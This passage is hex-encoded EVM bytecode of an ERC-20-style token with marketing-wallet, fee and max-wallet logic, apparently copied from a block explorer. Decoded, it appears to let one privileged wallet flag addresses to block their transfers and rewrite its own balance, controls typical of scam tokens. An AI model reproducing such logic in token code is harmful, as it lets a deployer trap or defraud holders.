3480156103b157600080fd5b506103ba610b72565b6040516103c79190612ef0565b60405180910390f35b3480156103dc57600080fd5b506103e5610b78565b6040516103f29190612ef0565b60405180910390f35b34801561040757600080fd5b50610410610b7e565b60405161041d9190612ef0565b60405180910390f35b34801561043257600080fd5b5061044d6004803603810190610448919061293e565b610b84565b60405161045a9190612cd3565b60405180910390f35b34801561046f57600080fd5b50610478610c7c565b6040516104859190612cb8565b60405180910390f35b34801561049a57600080fd5b506104a3610c82565b6040516104b09190612ef0565b60405180910390f35b3480156104c557600080fd5b506104ce610c88565b6040516104db9190612cd3565b60405180910390f35b3480156104f057600080fd5b506104f9610c9b565b6040516105069190612f0b565b60405180910390f35b34801561051b57600080fd5b5061053660048036038101906105319190612991565b610ca4565b6040516105439190612cd3565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e91906129d1565b610d50565b005b34801561058157600080fd5b5061058a610ded565b6040516105979190612cd3565b60405180910390f35b3480156105ac57600080fd5b506105b5610e00565b6040516105c29190612ef0565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906128d1565b610e06565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061061d610e4e565b005b34801561062b57600080fd5b50610634610ed6565b6040516106419190612ef0565b60405180910390f35b34801561065657600080fd5b5061065f610edc565b60405161066c9190612cb8565b60405180910390f35b34801561068157600080fd5b5061068a610f06565b6040516106979190612ef0565b60405180910390f35b3480156106ac57600080fd5b506106b5610f0c565b6040516106c29190612cee565b60405180910390f35b3480156106d757600080fd5b506106e0610f9e565b6040516106ed9190612ef0565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190612991565b610fa4565b60405161072a9190612cd3565b60405180910390f35b34801561073f57600080fd5b5061074861108f565b6040516107559190612ef0565b60405180910390f35b34801561076a57600080fd5b5061078560048036038101906107809190612991565b611095565b6040516107929190612cd3565b60405180910390f35b3480156107a757600080fd5b506107c260048036038101906107bd91906128d1565b6110b3565b005b3480156107d057600080fd5b506107eb60048036038101906107e691906128d1565b6111ce565b6040516107f89190612cd3565b60405180910390f35b34801561080d57600080fd5b506108166111ee565b6040516108239190612cd3565b60405180910390f35b34801561083857600080fd5b506108416112da565b60405161084e9190612ef0565b60405180910390f35b34801561086357600080fd5b5061087e600480360381019061087991906128d1565b6112e0565b60405161088b9190612cd3565b60405180910390f35b3480156108a057600080fd5b506108a9611336565b6040516108b69190612ef0565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906128fe565b61133c565b6040516108f39190612ef0565b60405180910390f35b34801561090857600080fd5b506109116113c3565b60405161091e9190612ef0565b60405180910390f35b34801561093357600080fd5b5061093c6113c9565b6040516109499190612ef0565b60405180910390f35b34801561095e57600080fd5b506109676113cf565b6040516109749190612ef0565b60405180910390f35b34801561098957600080fd5b506109926113d5565b60405161099f9190612ef0565b60405180910390f35b3480156109b457600080fd5b506109cf60048036038101906109ca91906128d1565b6113db565b005b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890612eb0565b60405180910390fd5b610a6a8161148d565b50565b606060078054610a7c906130ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa8906130ea565b8015610af55780601f10610aca57610100808354040283529160200191610af5565b820191906000526020600020905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b6000610b13610b0c6114e7565b84846114ef565b6001905092915050565b602080528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60145481565b60115481565b601d5481565b601c5481565b6000610b918484846116ba565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bdc6114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390612dd0565b60405180910390fd5b610c7085610c686114e7565b8584036114ef565b60019150509392505050565b61dead81565b60125481565b601060009054906101000a900460ff1681565b60006009905090565b6000610d46610cb16114e7565b848460026000610cbf6114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d419190612f4d565b6114ef565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790612eb0565b60405180910390fd5b610dea3382612223565b50565b601e60009054906101000a900460ff1681565b60195481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e566114e7565b73ffffffffffffffffffffffffffffffffffffffff16610e74610edc565b73ffffffffffffffffffffffffffffffffffffffff1614610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec190612df0565b60405180910390fd5b610ed460006123ed565b565b60175481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b606060088054610f1b906130ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610f47906130ea565b8015610f945780601f10610f6957610100808354040283529160200191610f94565b820191906000526020600020905b815481529060010190602001808311610f7757829003601f168201915b5050505050905090565b60155481565b60008060026000610fb36114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612ed0565b60405180910390fd5b61108461107b6114e7565b858584036114ef565b600191505092915050565b60135481565b60006110a96110a26114e7565b84846116ba565b6001905092915050565b6110bb6114e7565b73ffffffffffffffffffffffffffffffffffffffff166110d9610edc565b73ffffffffffffffffffffffffffffffffffffffff161461112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112690612df0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461118a57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60216020528060005260406000206000915054906101000a900460ff1681565b60006111f86114e7565b73ffffffffffffffffffffffffffffffffffffffff16611216610edc565b73ffffffffffffffffffffffffffffffffffffffff161461126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390612df0565b60405180910390fd5b6001601781905550600060188190555060185460175461128c9190612f4d565b60168190555060016019819055506001601a81905550601b54601a546112b29190612f4d565b6019819055506000601e60006101000a81548160ff0219169083151502179055506001905090565b600d5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b60185481565b601b5481565b600e5481565b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612eb0565b60405180910390fd5b611474816124b3565b50565b600081836114859190612f4d565b905092915050565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690612e70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690612d50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ad9190612ef0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561172a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172190612e30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561179a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179190612d10565b60405180910390fd5b60008114156117b4576117af8383600061250e565b61221e565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118555750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118b15760011515600460009054906101000a900460ff161515146118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612e50565b60405180910390fd5b5b601e60009054906101000a900460ff1615611cb7576118ce610edc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561193c575061190c610edc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119755750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119af575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c85750600b60149054906101000a900460ff16155b15611cb657602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a705750602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b1757600d54811115611aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab190612db0565b60405180910390fd5b600e54611ac683610e06565b82611ad19190612f4d565b1115611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0990612e90565b60405180910390fd5b611cb5565b602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611bba5750602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c0957600d54811115611c04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfb90612d90565b60405180910390fd5b611cb4565b602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cb357600e54611c6683610e06565b82611c719190612f4d565b1115611cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca990612e90565b60405180910390fd5b5b5b5b5b5b60011515600460009054906101000a900460ff1615151415612212576000611cde30610e06565b90506000600c548210159050808015611d045750600b60149054906101000a900460ff16155b8015611d5a5750602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611db05750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e065750601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e4a576001600b60146101000a81548160ff021916908315150217905550611e2e61278f565b6000600b60146101000a81548160ff0219169083151502179055505b600b60149054906101000a900460ff16158015611eb05750602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8015611ec85750601060009054906101000a900460ff165b8015611ee35750601254601354611edf9190612f4d565b4210155b8015611f395750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b506000600b60149054906101000a900460ff16159050601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ff05750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ffa57600090505b6000811561220d57602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561205d57506000601954115b156120f75761208a606461207c6019548861287190919063ffffffff16565b61288790919063ffffffff16565b9050601954601b548261209d9190612fd4565b6120a79190612fa3565b601d60008282546120b89190612f4d565b92505081905550601954601a54826120d09190612fd4565b6120da9190612fa3565b601c60008282546120eb9190612f4d565b925050819055506121e9565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561215257506000601654115b156121e85761217f60646121716016548861287190919063ffffffff16565b61288790919063ffffffff16565b9050601654601854826121929190612fd4565b61219c9190612fa3565b601d60008282546121ad9190612f4d565b92505081905550601654601754826121c59190612fd4565b6121cf9190612fa3565b601c60008282546121e09190612f4d565b925050819055505b5b60008111156121fe576121fd87308361250e565b5b808561220a919061302e565b94505b505050505b61221d83838361250e565b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612293576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228a90612e10565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231090612d30565b60405180910390fd5b81600654612327919061302e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816005600082825461237b919061302e565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123e09190612ef0565b60405180910390a3505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561257e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257590612e30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e590612d10565b60405180910390fd5b6125f983838361289d565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561267f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267690612d70565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127129190612f4d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127769190612ef0565b60405180910390a36127898484846128a2565b50505050565b600061279a30610e06565b90506000601c54601d546127ae9190612f4d565b90506000808314806127c05750600082145b156127cd5750505061286f565b6000601d819055506000601c81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161282390612ca3565b60006040518083038185875af1925050503d8060008114612860576040519150601f19603f3d011682016040523d82523d6000602084013e612865565b606091505b5050809150505050505b565b6000818361287f9190612fd4565b905092915050565b600081836128959190612fa3565b905092915050565b505050565b505050565b6000813590506128b6816135a2565b92915050565b6000813590506128cb816135b9565b92915050565b6000602082840312156128e7576128e66131a9565b5b60006128f5848285016128a7565b91505092915050565b60008060408385031215612915576129146131a9565b5b6000612923858286016128a7565b9250506020612934858286016128a7565b9150509250929050565b600080600060608486031215612957576129566131a9565b5b6000612965868287016128a7565b9350506020612976868287016128a7565b9250506040612987868287016128bc565b9150509250925092565b600080604083850312156129a8576129a76131a9565b5b60006129b6858286016128a7565b92505060206129c7858286016128bc565b9150509250929050565b6000602082840312156129e7576129e66131a9565b5b60006129f5848285016128bc565b91505092915050565b612a0781613062565b82525050565b612a1681613074565b82525050565b6000612a2782612f26565b612a318185612f3c565b9350612a418185602086016130b7565b612a4a816131ae565b840191505092915050565b6000612a62602383612f3c565b9150612a6d826131bf565b604082019050919050565b6000612a85602283612f3c565b9150612a908261320e565b604082019050919050565b6000612aa8602283612f3c565b9150612ab38261325d565b604082019050919050565b6000612acb602683612f3c565b9150612ad6826132ac565b604082019050919050565b6000612aee603683612f3c565b9150612af9826132fb565b604082019050919050565b6000612b11603583612f3c565b9150612b1c8261334a565b604082019050919050565b6000612b34602883612f3c565b9150612b3f82613399565b604082019050919050565b6000612b57602083612f3c565b9150612b62826133e8565b602082019050919050565b6000612b7a602183612f3c565b9150612b8582613411565b604082019050919050565b6000612b9d602583612f3c565b9150612ba882613460565b604082019050919050565b6000612bc0600083612f31565b9150612bcb826134af565b600082019050919050565b6000612be3600083612f3c565b9150612bee826134af565b600082019050919050565b6000612c06602483612f3c565b9150612c11826134b2565b604082019050919050565b6000612c29601383612f3c565b9150612c3482613501565b602082019050919050565b6000612c4c601e83612f3c565b9150612c578261352a565b602082019050919050565b6000612c6f602583612f3c565b9150612c7a82613553565b604082019050919050565b612c8e816130a0565b82525050565b612c9d816130aa565b82525050565b6000612cae82612bb3565b9150819050919050565b6000602082019050612ccd60008301846129fe565b92915050565b6000602082019050612ce86000830184612a0d565b92915050565b60006020820190508181036000830152612d088184612a1c565b905092915050565b60006020820190508181036000830152612d2981612a55565b9050919050565b60006020820190508181036000830152612d4981612a78565b9050919050565b60006020820190508181036000830152612d6981612a9b565b9050919050565b60006020820190508181036000830152612d8981612abe565b9050919050565b60006020820190508181036000830152612da981612ae1565b9050919050565b60006020820190508181036000830152612dc981612b04565b9050919050565b60006020820190508181036000830152612de981612b27565b9050919050565b60006020820190508181036000830152612e0981612b4a565b9050919050565b60006020820190508181036000830152612e2981612b6d565b9050919050565b60006020820190508181036000830152612e4981612b90565b9050919050565b60006020820190508181036000830152612e6981612bd6565b9050919050565b60006020820190508181036000830152612e8981612bf9565b9050919050565b60006020820190508181036000830152612ea981612c1c565b9050919050565b60006020820190508181036000830152612ec981612c3f565b9050919050565b60006020820190508181036000830152612ee981612c62565b9050919050565b6000602082019050612f056000830184612c85565b92915050565b6000602082019050612f206000830184612c94565b92915050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000612f58826130a0565b9150612f63836130a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f9857612f9761311c565b5b828201905092915050565b6000612fae826130a0565b9150612fb9836130a0565b925082612fc957612fc861314b565b5b828204905092915050565b6000612fdf826130a0565b9150612fea836130a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130235761302261311c565b5b828202905092915050565b6000613039826130a0565b9150613044836130a0565b9250828210156130575761305661311c565b5b828203905092915050565b600061306d82613080565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156130d55780820151818401526020810190506130ba565b838111156130e4576000848401525b50505050565b6000600282049050600182168061310257607f821691505b602082108114156131165761311561317a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f43616c6c6572206973206e6f74206d61726b6574696e672077616c6c65740000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6135ab81613062565b81146135b657600080fd5b50565b6135c2816130a0565b81146135cd57600080fd5b5056fea2646970667358221220813d594a0faf06ef722066314cb23aa4022544a5258181f205d3caaa11a8994464736f6c63430008050033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c8063715018a611610139578063b62496f5116100b6578063dd62ed3e1161007a578063dd62ed3e146108bf578063e2f45605146108fc578063f11a24d314610927578063f637434214610952578063f8b45b051461097d578063f9f69a3c146109a857610251565b8063b62496f5146107c4578063bb59840d14610801578063c8c8ebe41461082c578063cf910b8f14610857578063d85ba0631461089457610251565b80639ec22c0e116100fd5780639ec22c0e146106cb578063a457c2d7146106f6578063a4c82a0014610733578063a9059cbb1461075e578063ab760c821461079b57610251565b8063715018a6146106085780637bce5a041461061f5780638da5cb5b1461064a578063921369131461067557806395d89b41146106a057610251565b806323b872dd116101c7578063395093511161018b578063395093511461050f57806342966c681461054c5780634a62bb65146105755780636a486a8e146105a057806370a08231146105cb57610251565b806323b872dd1461042657806327c8f835146104635780632c3e486c1461048e5780632e82f1a0146104b9578063313ce567146104e457610251565b806318160ddd1161020e57806318160ddd1461034f578063184c16c51461037a578063199ffc72146103a55780631a8145bb146103d05780631f3fed8f146103fb57610251565b806303438dd01461025657806306fdde031461027f578063095ea7b3146102aa57806310d5de53146102e75780631694505e1461032457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061027d600480360381019061027891906128d1565b6109d1565b005b34801561028b57600080fd5b50610294610a6d565b6040516102a19190612cee565b60405180910390f35b3480156102b657600080fd5b506102d160048036038101906102cc9190612991565b610aff565b6040516102de9190612cd3565b60405180910390f35b3480156102f357600080fd5b5061030e600480360381019061030991906128d1565b610b1d565b60405161031b9190612cd3565b60405180910390f35b34801561033057600080fd5b50610339610b3c565b6040516103469190612cb8565b60405180910390f35b34801561035b57600080fd5b50610364610b62565b6040516103719190612ef0565b60405180910390f35b34801561038657600080fd5b5061038f610b6c565b60405161039c9190612ef0565b60405180910390f35b3480156103b157600080fd5b506103ba610b72565b6040516103c79190612ef0565b60405180910390f35b3480156103dc57600080fd5b506103e5610b78565b6040516103f29190612ef0565b60405180910390f35b34801561040757600080fd5b50610410610b7e565b60405161041d9190612ef0565b60405180910390f35b34801561043257600080fd5b5061044d6004803603810190610448919061293e565b610b84565b60405161045a9190612cd3565b60405180910390f35b34801561046f57600080fd5b50610478610c7c565b6040516104859190612cb8565b60405180910390f35b34801561049a57600080fd5b506104a3610c82565b6040516104b09190612ef0565b60405180910390f35b3480156104c557600080fd5b506104ce610c88565b6040516104db9190612cd3565b60405180910390f35b3480156104f057600080fd5b506104f9610c9b565b6040516105069190612f0b565b60405180910390f35b34801561051b57600080fd5b5061053660048036038101906105319190612991565b610ca4565b6040516105439190612cd3565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e91906129d1565b610d50565b005b34801561058157600080fd5b5061058a610ded565b6040516105979190612cd3565b60405180910390f35b3480156105ac57600080fd5b506105b5610e00565b6040516105c29190612ef0565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed91906128d1565b610e06565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061061d610e4e565b005b34801561062b57600080fd5b50610634610ed6565b6040516106419190612ef0565b60405180910390f35b34801561065657600080fd5b5061065f610edc565b60405161066c9190612cb8565b60405180910390f35b34801561068157600080fd5b5061068a610f06565b6040516106979190612ef0565b60405180910390f35b3480156106ac57600080fd5b506106b5610f0c565b6040516106c29190612cee565b60405180910390f35b3480156106d757600080fd5b506106e0610f9e565b6040516106ed9190612ef0565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190612991565b610fa4565b60405161072a9190612cd3565b60405180910390f35b34801561073f57600080fd5b5061074861108f565b6040516107559190612ef0565b60405180910390f35b34801561076a57600080fd5b5061078560048036038101906107809190612991565b611095565b6040516107929190612cd3565b60405180910390f35b3480156107a757600080fd5b506107c260048036038101906107bd91906128d1565b6110b3565b005b3480156107d057600080fd5b506107eb60048036038101906107e691906128d1565b6111ce565b6040516107f89190612cd3565b60405180910390f35b34801561080d57600080fd5b506108166111ee565b6040516108239190612cd3565b60405180910390f35b34801561083857600080fd5b506108416112da565b60405161084e9190612ef0565b60405180910390f35b34801561086357600080fd5b5061087e600480360381019061087991906128d1565b6112e0565b60405161088b9190612cd3565b60405180910390f35b3480156108a057600080fd5b506108a9611336565b6040516108b69190612ef0565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906128fe565b61133c565b6040516108f39190612ef0565b60405180910390f35b34801561090857600080fd5b506109116113c3565b60405161091e9190612ef0565b60405180910390f35b34801561093357600080fd5b5061093c6113c9565b6040516109499190612ef0565b60405180910390f35b34801561095e57600080fd5b506109676113cf565b6040516109749190612ef0565b60405180910390f35b34801561098957600080fd5b506109926113d5565b60405161099f9190612ef0565b60405180910390f35b3480156109b457600080fd5b506109cf60048036038101906109ca91906128d1565b6113db565b005b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890612eb0565b60405180910390fd5b610a6a8161148d565b50565b606060078054610a7c906130ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610aa8906130ea565b8015610af55780601f10610aca57610100808354040283529160200191610af5565b820191906000526020600020905b815481529060010190602001808311610ad857829003601f168201915b5050505050905090565b6000610b13610b0c6114e7565b84846114ef565b6001905092915050565b602080528060005260406000206000915054906101000a900460ff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60145481565b60115481565b601d5481565b601c5481565b6000610b918484846116ba565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bdc6114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5390612dd0565b60405180910390fd5b610c7085610c686114e7565b8584036114ef565b60019150509392505050565b61dead81565b60125481565b601060009054906101000a900460ff1681565b60006009905090565b6000610d46610cb16114e7565b848460026000610cbf6114e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d419190612f4d565b6114ef565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790612eb0565b60405180910390fd5b610dea3382612223565b50565b601e60009054906101000a900460ff1681565b60195481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffff